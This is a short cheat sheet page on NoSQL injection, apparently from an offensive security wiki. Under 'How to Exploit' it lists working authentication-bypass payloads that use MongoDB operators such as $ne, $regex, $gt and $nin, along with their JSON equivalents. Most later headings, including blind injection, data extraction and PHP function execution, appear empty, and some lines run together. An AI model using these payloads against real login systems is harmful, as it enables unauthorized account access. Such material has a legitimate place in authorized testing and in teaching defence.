NoSQL Injection
NoSQL injection
Introduction
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
How to Exploit
Authentication Bypass
Basic authentication bypass using not equal ($ne) or greater ($gt)
in the request
- username[$ne]=toto&password[$ne]=toto
- login[$regex]=a.*&pass[$ne]=lol
- login[$gt]=admin&login[$lt]=test&pass[$ne]=1
- login[$nin][]=admin&login[$nin][]=test&pass[$ne]=totoThe output is
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}Extract length information
Extract data information
Extract data with "in"
PHP Arbitrary Function Execution
Blind NoSQL
POST
GET
Another example using sleep to check vuln or not
MongoDB Payloads
Tools
References
Last updated